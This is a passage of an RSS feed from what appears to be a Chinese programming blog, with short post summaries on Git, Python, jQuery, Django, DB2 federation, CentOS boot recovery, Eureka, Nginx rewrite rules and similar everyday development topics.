      <description>1，在码云上新建项目，步骤不多说了&#xA;2，在webstorm点击VCS -&amp;gt;check out from version control -&amp;gt;git&#xA;点击clone就拉取项目成功啦，如何就可以开始写项目啦&#xA;3，提交代码&#xA;写完之后可以看左下角&#xA;也可以选中文件，右键Git -&amp;gt; +Add ，右键，Git -&amp;gt; commit file&#xA;4，把代码上传到码云&#xA;选中项目，右键Git -&amp;gt;Repository -&amp;gt;push</description>
    </item>
    <item>
      <title>Mac 如何安装EasyConnect（一）：使用Safari浏览器打开</title>
      <link>https://bchobby.github.io/posts/87d92b8d5f7af84da1e97788a6540c84/</link>
      <pubDate>Tue, 20 Nov 2018 14:21:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87d92b8d5f7af84da1e97788a6540c84/</guid>
      <description>说明：远程连接公司内网，需要安装相关客户端软件，根据公司服务器地址访问安装即可&#xA;一、下载Mac OS平台安装包 打开Safari浏览器访问服务器地址，根据提示下载Mac OS平台安装包。&#xA;二、安装软件EasyConnect 三、安装完成之后，Safari浏览器继续访问,输入用户名、密码，点击登录 五、连接成功，如下图： 六、设置Safari插件 七、注意事项 请通过Safari浏览器登录使用，不支持双击EasyConnect应用图标方式登录；&#xA;.&#xA;相关文章 Mac 如何安装EasyConnect（一）：使用Safari浏览器打开&#xA;Mac 如何安装EasyConnect（二）：直接打开EasyConnect连接</description>
    </item>
    <item>
      <title>python 五位数数位</title>
      <link>https://bchobby.github.io/posts/2e5ad926568a7893a0aabea4db72c720/</link>
      <pubDate>Tue, 20 Nov 2018 14:00:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e5ad926568a7893a0aabea4db72c720/</guid>
      <description>输入一个五位数，左对齐依次输出其数位，中间用3个空格间隔。如输入12345，则输出：&#xA;1 2 3 4 5&#xA;输出以上内容的python语句是&#xA;print (1,&#34; &#34;,2,&#34; &#34;,3,&#34; &#34;,&#34;4,&#34; &#34;,5)&#xA;说明：1之后的逗号,会产生一个空格，加上指定输出的空格和2之前的逗号产生的空格，一共隔了3个空格。&#xA;【输入形式】&#xA;输入一个5位的整数&#xA;【输出形式】&#xA;输出各数位，数位之间间隔3个空格。&#xA;【样例输入】&#xA;12345&#xA;【样例输出】&#xA;1 2 3 4 5&#xA;n = int(input()) w1 = n // 10000 w2 = (n - w1 * 10000) // 1000 w3 = (n - w1*10000- w2*1000) // 100 w4 = (n - w1*10000- w2*1000 - w3 * 100) // 10 w5 = n % 10 print(w1,&#34; &#34;</description>
    </item>
    <item>
      <title>python列表字符串互转和反转输出</title>
      <link>https://bchobby.github.io/posts/02804ebd69e595276004dfc362f69b31/</link>
      <pubDate>Tue, 20 Nov 2018 12:16:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02804ebd69e595276004dfc362f69b31/</guid>
      <description>1. 字符串转列表&#xA;str1 = &#34;12345&#34;&#xA;list1 = list(str1)&#xA;print list1&#xA;str2 = &#34;123 sjhid dhi&#34;&#xA;list2 = str2.split() #or list2 = str2.split(&#34; &#34;)&#xA;print list2&#xA;str3 = &#34;www.google.com&#34;&#xA;list3 = str3.split(&#34;.&#34;)&#xA;print list3&#xA;输出为：&#xA;[&#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;, &#39;5&#39;]&#xA;[&#39;123&#39;, &#39;sjhid&#39;, &#39;dhi&#39;]&#xA;[&#39;www&#39;, &#39;google&#39;, &#39;com&#39;]&#xA;2. 列表转字符串&#xA;str4 = &#34;&#34;.join(list3)&#xA;print str4&#xA;str5 = &#34;.&#34;.join(list3)&#xA;print str5&#xA;str6 = &#34; &#34;.join(list3)&#xA;print str6&#xA;输出为：&#xA;wwwgooglecom&#xA;www.google.com&#xA;www google com</description>
    </item>
    <item>
      <title>wxParse-微信小程序解析富文本组件的使用总结</title>
      <link>https://bchobby.github.io/posts/5a9f3805052c9733496272dbbed2a6b2/</link>
      <pubDate>Tue, 20 Nov 2018 10:32:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a9f3805052c9733496272dbbed2a6b2/</guid>
      <description>wxParse是一款非常好用的解析微信小程序中富文本的组件，支持大部分的html标签：&#xA;#####基本使用方法：&#xA;（1）Copy文件夹wxParse ，放在小程序根目录下。&#xA;wxParse/&#xA;-wxParse.js(必须存在)&#xA;-html2json.js(必须存在)&#xA;-htmlparser.js(必须存在)&#xA;-showdown.js(必须存在)&#xA;-wxDiscode.js(必须存在)&#xA;-wxParse.wxml(必须存在)&#xA;-wxParse.wxss(必须存在)&#xA;-emojis(可选)&#xA;（2）引入文件：&#xA;//在使用的view的js中引入WxParse模块&#xA;var WxParse = require(’…/…/wxParse/wxParse.js’);&#xA;//在使用的Wxss中引入WxParse.css,也可以在app.wxss中引入&#xA;@import “/wxParse/wxParse.wxss”;&#xA;// 在使用的view的.wxml中引入模板&#xA;#####1.单数据渲染：&#xA;(1)在data中声明article变量：&#xA;article:&#39;&amp;lt;div class=&#34;content&#34;&amp;gt;&amp;lt;h3 class=&#34;main-title&#34;&amp;gt;白内障&amp;lt;/h3&amp;gt;&amp;lt;h4 class=&#34;sub-title&#34;&amp;gt;需要注意什么？&amp;lt;/h4&amp;gt;&amp;lt;div class=&#34;desc&amp;gt;&amp;lt;p&amp;gt;1.减少辐射，防紫外线，特别是要避开强光紫外线。如看电视的距离尽量远一点，不要长时间看手机，夏季外出时打遮阳伞、带防紫外线的太阳眼镜等； &amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;2.平时多喝水，避免机体缺水。老年人体内缺水是导致晶体变浑浊的原因之一，因此平常要养成多喝水的习惯；[M3] &amp;lt;/p&amp;gt;&amp;lt;img class=&#34;img&#34; src=&#34;http://www.xiexingcun.com/Poetry/6/images/53e.jpg&#34; alt=&#34;&#34; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#39;&#xA;(2)在onload声明周期中使用：&#xA;``&#xA;WxParse.wxParse(‘article’, ‘html’, this.data.article, this, 5); /**&#xA;WxParse.wxParse(bindName , type, data, target,imagePadding)1.bindName绑定的数据名(必填)2.type可以为html或者md(必填)：但在实际应用中，发现此插件比较倾向于处理 html 的解析，对于 markdown语法只是简单的兼容。3.data为传入的具体数据(必填)4.target为Page对象,一般为this(必填)5.imagePadding为当图片自适应是左右的单一padding(默认为0,可选)&#xA;*/&#xA;(3）在.wxml中使用:&#xA;`` 在上面的基本使用里面在.js文件和.wxml文件里面出现的article这个是两个文件里面是一样的。article是js文件里面的一个变量是可以变的，只需保证js文件和wxml文件里面变量名一致即可。 #####2.数组循环渲染&#xA;(1).数据格式：&#xA;list: [ { name: &#39;CataResult&#39;, id: &#39;7&#39;, content: &#39;&amp;lt;div class=&#34;content&#34;&amp;gt;&amp;lt;h3 class=&#34;</description>
    </item>
    <item>
      <title>UGUI合并批次的规则</title>
      <link>https://bchobby.github.io/posts/dfc96c6d96c96f7a19bd4f43b0ce1318/</link>
      <pubDate>Mon, 19 Nov 2018 17:14:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfc96c6d96c96f7a19bd4f43b0ce1318/</guid>
      <description> 基本规则主要有以下几条：&#xA;按照层叠顺序处理&#xA;层叠顺序是按照Hierarchy中的顺序从上往下进行的，也就是越靠上的组件，就会被画在越底部&#xA;图A处理后和图B相同&#xA;图集Batch规则&#xA;计算层级号的算法：如果有一个UI元素，它所占的屏幕范围内（通常是矩形），如果没有任何UI在它的底下，那么它的层级号就是0（最底下）；如果有一个UI在其底下且该UI可以和它Batch，那它的层级号与底下的UI层级一样；如果有一个UI在其底下但是无法与它Batch，那它的层级号为底下的UI的层级+1；如果有多个UI都在其下面，那么按前两种方式遍历计算所有的层级号，其中最大的那个作为自己的层级号。&#xA;合并批次：如果相邻间的两个批次正好可以Batch的话就会进行Batch 注：图集的穿插并不是指Hierarchy中的树形结构上的，即使树形结构存在穿插的情况，但是图片之间并没有遮挡情况的，不算图集的穿插 Z轴的影响&#xA;Unity以Canvas为单位进行绘制，按照前两条规则，当遍历列表进行处理时，如果列表中有X元素Z轴不为0，则处理会被打断，X元素之前的归为一个处理批次，X元素以及X元素之后的元素归为一个处理批次&#xA;举例列表{A, B, C, D, E, F}中C的Z轴不为0，那么会从C处开始被打断，列表的处理被强行拆分为两个列表{A, B}和{C, D, E, F} Text优先级高于Image&#xA;按照规则2，ImageA层级号为0，ImageB层级号为1（ImageA和ImageB可以Batch），TextC层级号为0，绘制顺序为：&#xA;TextC，ImageA，ImageB （FrameDebugger中为两个DM） </description>
    </item>
    <item>
      <title>DB2__基本概念——联邦</title>
      <link>https://bchobby.github.io/posts/17f3cb47ce15278efd5f7c628fb2bd93/</link>
      <pubDate>Mon, 19 Nov 2018 16:54:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17f3cb47ce15278efd5f7c628fb2bd93/</guid>
      <description>建立联邦&#xA;优点：优点是数据仍然保留在原来的存储位置，而不必建立一个集中的式数据仓储。&#xA;缺点：数据联邦查询反映会慢，不适合频繁查询，而且容易出现锁争用和资源冲突等问题&#xA;建立联邦表步骤&#xA;前提条件：知道两个数据库的ip,用户名，密码及被连数据库的版本&#xA;eg: 数据库 qqdb ip: 22.5.225.225 端口：50000 密码：123456&#xA;数据库 aadb ip:22..5.225.102 端口：50300 密码 ：qazwsx&#xA;qqdb到aadb的联邦&#xA;第一步：建node&#xA;CATALOG tcpip node &#39;qqdb_nd&#39; remote 22.5.22.102 server 50300&#xA;查看已建好的node&#xA;db2 list db directory&#xA;第二步：起本地库别名&#xA;catalog db qqdb as qqdb_fd at node qqdb_nd;&#xA;第三步：建立server&#xA;CREATE SERVER &#34;qqdb_server&#34;&#xA;TYPE DB2/UDB&#xA;VERSION &#39;9.7&#39;&#xA;WRAPPER DRDA&#xA;authorization &#34;qqdb&#34;&#xA;PASSWORD &#34;123456&#34;&#xA;OPTIONS&#xA;(DBNAME &#39;qqdb_fd&#39;,&#xA;NODE &#39;qqdb_nd&#39;&#xA;);&#xA;第四步：建立映射&#xA;create user mapping for qqdb server &#34;</description>
    </item>
    <item>
      <title>django中查询的select_related方法和prefetch_related方法</title>
      <link>https://bchobby.github.io/posts/04a864ff589f349c758cb7c1537bf534/</link>
      <pubDate>Mon, 19 Nov 2018 10:57:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04a864ff589f349c758cb7c1537bf534/</guid>
      <description>select_related - 数据库上的join Django考虑到了标准查询这种低效的查询方式，因此在设计ORM的时候设计了提升性能的方式。select_related就是其中之一。select_related将会根据外键关系，在执行查询语句的时候一次性获得相关对象的信息，这种操作带来的结果是更加复杂的查询语句和避免对于即将使用的外键对象的额外数据库查询。Django的文档详细的描述了相关内容，在此只进行简要介绍。标准的查询代码如下:&#xA;b = B.objects.get(id=2) a = b.a 换用select_related之后，代码如下:&#xA;b = B.objects.select_related(&#39;a&#39;).get(id=2) &#39;a’是B模型存在关联的A模型，指定a可以只查询A和B的数据，如果没有参数，则查询出所有相关联的model信息。&#xA;我们可以看到，select_related实际上是在数据库层面进行了一次inner join操作，因此一次性获取了所有需要的信息，也就是说使用select_related()方法一次性的把B关联的对象都查询出来放入对象中，再次查询时就不需要再连接数据库，节省了后面查询数据库的次数和时间。&#xA;需要注意的是，我们可以使用任意外键关系(ForeignKeyField)或一对一关系(OneToOneField)作为参数传给select_related，同时也可以使用反向的一对一关系，此时应使用related_name作为参数。某些情况下，你可能想获取所有的相关对象，或者你并不知道关联关系，此时可以使用不加参数的.select_related()，该方式下将会根据关联关系(级联的)获取所有关联的对象, 即假设有外键关系为A。&#xA;prefetch_related - Python上的join 与select_related类似，prefetch_related也可以大幅提高查询效率，但是prefetch_related的方式跟select_related大不一样。select_reateld是通过创建一条包含SQL join操作的SELECT语句来一次性获得所有相关对象的信息。因此，select_related需要从同一个数据库中获得相关对象。但是，为了避免由于join操作带来的较大的查询集结果，select_related被限制在了单值关系——外键关系或一对一关系。&#xA;另一方面，prefetch_related为每一个关系使用了单独的查询，并在Python层面进行’join’操作，因此该操作允许多对多关系以及反向关系，而这是select_related无法做到的。我们这次使用prefetch_related执行查询，代码如下:&#xA;b = B.objects.prefetch_related(&#39;a&#39;).get(id=2) 可以看到，Django首先进行了id=5的第一次查询获取对象b，然后根据外键关系进行了第二次查询获取b.a。为了增强理解，我们引入第三个模型C，这次我们从A模型上查询id__lte=5的A对象及其相关对象，代码如下:&#xA;class C(models.Model): b = models.Foreignkey(B, related_name=&#39;cs&#39;) qs = A.objects.prefetch_related(&#39;bs&#39;, &#39;bs__cs&#39;).filter(id__lte=5) Django首先查询了id小于等于5的所有A对象，然后根据反向关联关系，查询所有外键到这些A对象的B对象，然后查询所有外键到这些B对象的C对象。&#xA;select_related与prefetch_related性能对比:&#xA;在查询集中的对象字段较多较复杂，且查询集较大的时候，或需要使用反向外键关系或多对多关系作为参数优化查询的时候，应该选用prefetch_related，在查询集中对象字段简单的，查询集不大的时候，应选用select_related。&#xA;下面链接介绍的更详细： https://blog.csdn.net/cugbabybear/article/details/38342793</description>
    </item>
    <item>
      <title>CentOS 7进入紧急修复模式解决</title>
      <link>https://bchobby.github.io/posts/ed02bbe5e84312879fb922c1492b755a/</link>
      <pubDate>Mon, 19 Nov 2018 10:07:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed02bbe5e84312879fb922c1492b755a/</guid>
      <description>打开CentOS7页面出现：&#xA;welcome to emergency mode！after logging in ，type “journalctl -xb” to view system logs，“systemctl reboot” to reboot ，“systemctl default” to try again to boot into default mode。&#xA;give root password for maintenance&#xA;（？？ Control-D？？？）：&#xA;这个错误要注意一下是不是加载了外部硬盘、存储器或者是网络共享空间，在重启时没有加载上导致的。&#xA;解决方法：&#xA;1.执行 runlevel 显示unknown&#xA;2.修改默认启动级别&#xA;a. 先删除: mv /etc/systemd/system/default.target /etc/systemd/system/default.target.back #将文件重命名即可&#xA;b. 创建软连接文件： ln -sf /lib/systemd/system/multi-user.target /etc/systemd/system/default.target&#xA;或者&#xA;ln -sf /lib/systemd/system/runlevel3.target /etc/systemd/system/default.target&#xA;也可以使用systemctl命令：&#xA;systemctl set-default graphical.target&#xA;systemctl isolate multi-user.target&#xA;执行过程中报错：Error getting authority: Error initializing authority: Could not connect: Resource temporarily unavailable (g-io-error-quark, 1)</description>
    </item>
    <item>
      <title>双11狂欢的背后】微服务注册中心如何承载大型系统的千万级访问？</title>
      <link>https://bchobby.github.io/posts/49389f12c55dc34cc4a5cf1e16872ff0/</link>
      <pubDate>Fri, 16 Nov 2018 13:55:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49389f12c55dc34cc4a5cf1e16872ff0/</guid>
      <description>https://mp.weixin.qq.com/s?__biz=MzU0OTk3ODQ3Ng==&amp;amp;mid=2247483759&amp;amp;idx=1&amp;amp;sn=7e6575861a779711a5ef5f27b8e088e4&amp;amp;chksm=fba6e96cccd1607a709c1437eb0b92df703b8d8eac466205798618480abf600b67f032782e88&amp;amp;scene=21#wechat_redirect&#xA;目录：&#xA;一、问题起源&#xA;二、Eureka Server设计精妙的注册表存储结构&#xA;三、Eureka Server端优秀的多级缓存机制&#xA;四、总结&#xA;一、问题起源&#xA;Spring Cloud架构体系中，Eureka是一个至关重要的组件，它扮演着微服务注册中心的角色，所有的服务注册与服务发现，都是依赖Eureka的。&#xA;不少初学Spring Cloud的朋友在落地公司生产环境部署时，经常会问：&#xA;Eureka Server到底要部署几台机器？&#xA;我们的系统那么多服务，到底会对Eureka Server产生多大的访问压力？&#xA;Eureka Server能不能抗住一个大型系统的访问压力？&#xA;如果你也有这些疑问，别着急！咱们这就一起去看看，Eureka作为微服务注册中心的核心原理&#xA;下面这些问题，大家先看看，有个大概印象。带着这些问题，来看后面的内容，效果更佳&#xA;Eureka注册中心使用什么样的方式来储存各个服务注册时发送过来的机器地址和端口号？&#xA;各个服务找Eureka Server拉取注册表的时候，是什么样的频率？&#xA;各个服务是如何拉取注册表的？&#xA;一个几百服务，部署上千台机器的大型分布式系统，会对Eureka Server造成多大的访问压力？&#xA;Eureka Server从技术层面是如何抗住日千万级访问量的？&#xA;先给大家说一个基本的知识点，各个服务内的Eureka Client组件，默认情况下，每隔30秒会发送一个请求到Eureka Server，来拉取最近有变化的服务信息&#xA;举个例子：&#xA;库存服务原本部署在1台机器上，现在扩容了，部署到了3台机器，并且均注册到了Eureka Server上。&#xA;然后订单服务的Eureka Client会每隔30秒去找Eureka Server拉取最近注册表的变化，看看其他服务的地址有没有变化。&#xA;除此之外，Eureka还有一个心跳机制，各个Eureka Client每隔30秒会发送一次心跳到Eureka Server，通知人家说，哥们，我这个服务实例还活着！&#xA;如果某个Eureka Client很长时间没有发送心跳给Eureka Server，那么就说明这个服务实例已经挂了。&#xA;光看上面的文字，大家可能没什么印象。老规矩！咱们还是来一张图，一起来直观的感受一下这个过程。&#xA;二、Eureka Server设计精妙的注册表存储结构&#xA;现在咱们假设手头有一套大型的分布式系统，一共100个服务，每个服务部署在20台机器上，机器是4核8G的标准配置。&#xA;也就是说，相当于你一共部署了100 * 20 = 2000个服务实例，有2000台机器。&#xA;每台机器上的服务实例内部都有一个Eureka Client组件，它会每隔30秒请求一次Eureka Server，拉取变化的注册表。&#xA;此外，每个服务实例上的Eureka Client都会每隔30秒发送一次心跳请求给Eureka Server。&#xA;那么大家算算，Eureka Server作为一个微服务注册中心，每秒钟要被请求多少次？一天要被请求多少次？&#xA;按标准的算法，每个服务实例每分钟请求2次拉取注册表，每分钟请求2次发送心跳&#xA;这样一个服务实例每分钟会请求4次，2000个服务实例每分钟请求8000次&#xA;换算到每秒，则是8000 / 60 = 133次左右，我们就大概估算为Eureka Server每秒会被请求150次</description>
    </item>
    <item>
      <title>后台根据地址传输二进制流，前台显示图片</title>
      <link>https://bchobby.github.io/posts/899b48312a9ead2cf7e1b3e9563eb255/</link>
      <pubDate>Fri, 16 Nov 2018 11:29:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/899b48312a9ead2cf7e1b3e9563eb255/</guid>
      <description>1、后台&#xA;@RequestMapping(value=&#34;/getPicPathByPicId/{picId}&#34;,method=RequestMethod.GET) @ResponseBody public ResponseEntity&amp;lt;byte[]&amp;gt; getPicStream(@PathVariable(&#34;picId&#34;)String picId)throws IOException{ Upload sysFile = fileService.getFileById(Long.valueOf(picId)); String filePath = sysFile.getFilePath(); File file = new File(filePath); //http头部 HttpHeaders httpHeaders = new HttpHeaders(); //application/octet-stream ： 二进制流数据 httpHeaders.setContentType(MediaType.APPLICATION_OCTET_STREAM); return new ResponseEntity&amp;lt;byte[]&amp;gt;(FileUtils.readFileToByteArray(file),httpHeaders, HttpStatus.CREATED); } 2、前台&#xA;2.1、不能用ajax传输二进制流&#xA;2.2、status根据传输成功的status code决定&#xA;function picFormatter(value,row, index){ var s = &#39;&amp;lt;a class = &#34;view&#34; href=&#34;javascript:void(0)&#34;&amp;gt;&#39;+ &#39;&amp;lt;img id =&#34;imgcontainer&#34; style=&#34;width:300;height:40px;&#34;/&amp;gt;&amp;lt;/a&amp;gt;&#39;; var picId = row.picture; var url = realPath+&#34;/xzzf/file/getPicPathByPicId/&#34;+ picId; var xhr = new XMLHttpRequest(); xhr.</description>
    </item>
    <item>
      <title>ST-LINK 到 SWD接线图</title>
      <link>https://bchobby.github.io/posts/836d435f026b26b4b4df6b46b08c7d05/</link>
      <pubDate>Fri, 16 Nov 2018 00:00:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/836d435f026b26b4b4df6b46b08c7d05/</guid>
      <description>1、ST-LINK的外形图如下图所示：&#xA;2、接口引脚顺序定义如下图所示，注意缺口位置。&#xA;3、具体引脚定义如下图所示。&#xA;4、ST-LINK 到 SWD接线&#xA;SWD接口一般4个引脚，分别为：电源正、TCK、TMS、电源负&#xA;电源正—JTAG的1引脚&#xA;TMS—JTAG的7引脚&#xA;TCK—JTAG的引脚&#xA;电源负—JTAG的标有GND的引脚</description>
    </item>
    <item>
      <title>jQuery-简单选择器</title>
      <link>https://bchobby.github.io/posts/96293700c6cb06f2d4beb7c6b61101dc/</link>
      <pubDate>Wed, 14 Nov 2018 18:46:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96293700c6cb06f2d4beb7c6b61101dc/</guid>
      <description>1.基本选择器 $(&#34;#id&#34;) //ID选择器 $(&#34;div&#34;) //元素选择器 $(&#34;.classname&#34;) //类选择器 $(&#34;.classname,.classname1,#id1&#34;) //组合选择器 2.过滤选择器(重点) $(&#34;li:first&#34;) //第一个li $(&#34;li:last&#34;) //最后一个li $(&#34;li:even&#34;) //挑选下标为偶数的li $(&#34;li:odd&#34;) //挑选下标为奇数的li $(&#34;li:eq(4)&#34;) //下标等于 4 的li(第五个 li 元素) $(&#34;li:gt(2)&#34;) //下标大于 2 的li $(&#34;li:lt(2)&#34;) //下标小于 2 的li $(&#34;li:not(#runoob)&#34;) //挑选除 id=&#34;runoob&#34; 以外的所有li 2.2内容过滤选择器&#xA;$(&#34;div:contains(&#39;Runob&#39;)&#34;) // 包含 Runob文本的元素 $(&#34;td:empty&#34;) //不包含子元素或者文本的空元素 $(&#34;div:has(selector)&#34;) //含有选择器所匹配的元素 $(&#34;td:parent&#34;) //含有子元素或者文本的元素 2.3可见性过滤选择器&#xA;$(&#34;li:hidden&#34;) //匹配所有不可见元素，或type为hidden的元素 $(&#34;li:visible&#34;) //匹配所有可见元素 2.4属性过滤选择器&#xA;$(&#34;div[id]&#34;) //所有含有 id 属性的 div 元素 $(&#34;div[id=&#39;123&#39;]&#34;) // id属性值为123的div 元素 $(&#34;div[id!=&#39;123&#39;]&#34;) // id属性值不等于123的div 元素 $(&#34;div[id^=&#39;qq&#39;]&#34;) // id属性值以qq开头的div 元素 $(&#34;</description>
    </item>
    <item>
      <title>jQuery-HTML内容查询与设置</title>
      <link>https://bchobby.github.io/posts/dec019b224b59329ef6258f472cb41c4/</link>
      <pubDate>Wed, 14 Nov 2018 17:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dec019b224b59329ef6258f472cb41c4/</guid>
      <description>获得内容 - text()、html() 以及 val() 三个简单实用的用于 DOM 操作的 jQuery 方法：&#xA;text() - 设置或返回所选元素的文本内容html() - 设置或返回所选元素的内容（包括 HTML 标记）val() - 设置或返回表单字段的值 下面的例子演示如何通过 jQuery text() 和 html() 方法来获得内容：&#xA;&amp;lt;script&amp;gt; $(document).ready(function(){ $(&#34;#btn1&#34;).click(function(){ alert(&#34;Text: &#34; + $(&#34;#test&#34;).text()); }); $(&#34;#btn2&#34;).click(function(){ alert(&#34;HTML: &#34; + $(&#34;#test&#34;).html()); }); }); &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;p id=&#34;test&#34;&amp;gt;这是段落中的 &amp;lt;b&amp;gt;粗体&amp;lt;/b&amp;gt; 文本。&amp;lt;/p&amp;gt; &amp;lt;button id=&#34;btn1&#34;&amp;gt;显示文本&amp;lt;/button&amp;gt; &amp;lt;button id=&#34;btn2&#34;&amp;gt;显示 HTML&amp;lt;/button&amp;gt; &amp;lt;/body&amp;gt; 下面的例子演示如何通过 jQuery val() 方法获得输入字段的值：&#xA;&amp;lt;script&amp;gt; $(document).ready(function(){ $(&#34;button&#34;).click(function(){ alert(&#34;值为: &#34; + $(&#34;#test&#34;).val()); }); }); &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;p&amp;gt;名称: &amp;lt;input type=&#34;</description>
    </item>
    <item>
      <title>jQuery-CSS类属性操作</title>
      <link>https://bchobby.github.io/posts/7904e53e64af581833a22bbbbd498e2f/</link>
      <pubDate>Wed, 14 Nov 2018 17:13:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7904e53e64af581833a22bbbbd498e2f/</guid>
      <description>jQuery 操作 CSS jQuery 拥有若干进行 CSS 操作的方法。我们将学习下面这些：&#xA;addClass() - 向被选元素添加一个或多个类removeClass() - 从被选元素删除一个或多个类toggleClass() - 对被选元素进行添加/删除类的切换操作 jQuery addClass() 方法 下面的例子展示如何向不同的元素添加 class 属性。当然，在添加类时，您也可以选取多个元素：&#xA;&amp;lt;script&amp;gt; $(document).ready(function(){ $(&#34;button&#34;).click(function(){ $(&#34;h1,h2,p&#34;).addClass(&#34;blue&#34;); $(&#34;div&#34;).addClass(&#34;important&#34;); }); }); &amp;lt;/script&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; .important { font-weight:bold; font-size:xx-large; } .blue { color:blue; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1&amp;gt;标题 1&amp;lt;/h1&amp;gt; &amp;lt;h2&amp;gt;标题 2&amp;lt;/h2&amp;gt; &amp;lt;p&amp;gt;这是一个段落。&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;这是另外一个段落。&amp;lt;/p&amp;gt; &amp;lt;div&amp;gt;这是一些重要的文本!&amp;lt;/div&amp;gt; &amp;lt;br&amp;gt; &amp;lt;button&amp;gt;为元素添加 class&amp;lt;/button&amp;gt; &amp;lt;/body&amp;gt; 您也可以在 addClass() 方法中规定多个类：&#xA;&amp;lt;script&amp;gt; $(document).ready(function(){ $(&#34;button&#34;).click(function(){ $(&#34;body div:first&#34;).addClass(&#34;important blue&#34;); }); }); &amp;lt;/script&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; .important { font-weight:bold; font-size:xx-large; } .</description>
    </item>
    <item>
      <title>Halcon 图像筛选与Connection() 、 Union()、Fillup()</title>
      <link>https://bchobby.github.io/posts/d6363c5a2604f7ca6c35562b35cb64bc/</link>
      <pubDate>Tue, 13 Nov 2018 20:38:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6363c5a2604f7ca6c35562b35cb64bc/</guid>
      <description>Halcon 图像处理&#xA;Connection() 可以理解为： 分割&#xA;按照 Region 接触与否分割 Region。&#xA;是一些算子的先行算子 CountObj()、SelectObj() 等。&#xA;Union()&#xA;可以理解为：聚合&#xA;FillUp()&#xA;可以理解为：填充&#xA;在图像处理中，做筛选操作时候，这三个函数相互配合会有意想不到的效果。&#xA;需注意的是：当前这一步的 Region 的 聚、 散 状态。</description>
    </item>
    <item>
      <title>Nginx URL重写（rewrite）配置及信息详解</title>
      <link>https://bchobby.github.io/posts/1ecb7a22b87a132c8a1c1b3fcf3141a1/</link>
      <pubDate>Tue, 13 Nov 2018 14:36:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ecb7a22b87a132c8a1c1b3fcf3141a1/</guid>
      <description>Nginx URL重写（rewrite）配置及信息详解 URL重写有利于网站首选域的确定，对于同一资源页面多条路径的301重定向有助于URL权重的集中&#xA;Nginx URL重写（rewrite）介绍 和apache等web服务软件一样，rewrite的组要功能是实现RUL地址的重定向。Nginx的rewrite功能需要PCRE软件的支持，即通过perl兼容正则表达式语句进行规则匹配的。默认参数编译nginx就会支持rewrite的模块，但是也必须要PCRE的支持&#xA;rewrite是实现URL重写的关键指令，根据regex（正则表达式）部分内容，重定向到replacement，结尾是flag标记。&#xA;rewrite语法格式及参数语法说明如下: rewrite &amp;lt;regex&amp;gt; &amp;lt;replacement&amp;gt; [flag];&#xA;关键字 正则 替代内容 flag标记&#xA;关键字：其中关键字error_log不能改变&#xA;正则：perl兼容正则表达式语句进行规则匹配&#xA;替代内容：将正则匹配的内容替换成replacement&#xA;flag标记：rewrite支持的flag标记&#xA;flag标记说明：&#xA;last #本条规则匹配完成后，继续向下匹配新的location URI规则&#xA;break #本条规则匹配完成即终止，不再匹配后面的任何规则&#xA;redirect #返回302临时重定向，浏览器地址会显示跳转后的URL地址&#xA;permanent #返回301永久重定向，浏览器地址栏会显示跳转后的URL地址&#xA;rewrite参数的标签段位置： server,location,if&#xA;例子： rewrite ^/(.*) http://www.czlun.com/$1 permanent;&#xA;说明： rewrite为固定关键字，表示开始进行rewrite匹配规则&#xA;regex部分是 ^/(.*) ，这是一个正则表达式，匹配完整的域名和后面的路径地址&#xA;replacement部分是http://www.czlun.com/$1 $1，是取自regex部分()里的内容。匹配成功后跳转到的URL。&#xA;flag部分 permanent表示永久301重定向标记，即跳转到新的 http://www.czlun.com/$1 地址上&#xA;regex 常用正则表达式说明 字符&#xA;描述&#xA;\&#xA;将后面接着的字符标记为一个特殊字符或一个原义字符或一个向后引用。如“\n”匹配一个换行符，而“\$”则匹配“$”&#xA;^&#xA;匹配输入字符串的起始位置&#xA;$&#xA;匹配输入字符串的结束位置&#xA;*&#xA;匹配前面的字符零次或多次。如“ol*”能匹配“o”及“ol”、“oll”&#xA;+&#xA;匹配前面的字符一次或多次。如“ol+”能匹配“ol”及“oll”、“oll”，但不能匹配“o”&#xA;?&#xA;匹配前面的字符零次或一次，例如“do(es)?”能匹配“do”或者“does”，&#34;?&#34;等效于&#34;{0,1}&#34;&#xA;.&#xA;匹配除“\n”之外的任何单个字符，若要匹配包括“\n”在内的任意字符，请使用诸如“[.\n]”之类的模式。&#xA;(pattern)&#xA;匹配括号内pattern并可以在后面获取对应的匹配，常用$0...$9属性获取小括号中的匹配内容，要匹配圆括号字符需要\(Content\)&#xA;rewrite 企业应用场景 Nginx的rewrite功能在企业里应用非常广泛：</description>
    </item>
    <item>
      <title>PHP 强制返回状态码以及http状态码含义</title>
      <link>https://bchobby.github.io/posts/bcdb21b3a8eb5829784e1a7d22ad241c/</link>
      <pubDate>Tue, 13 Nov 2018 14:31:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcdb21b3a8eb5829784e1a7d22ad241c/</guid>
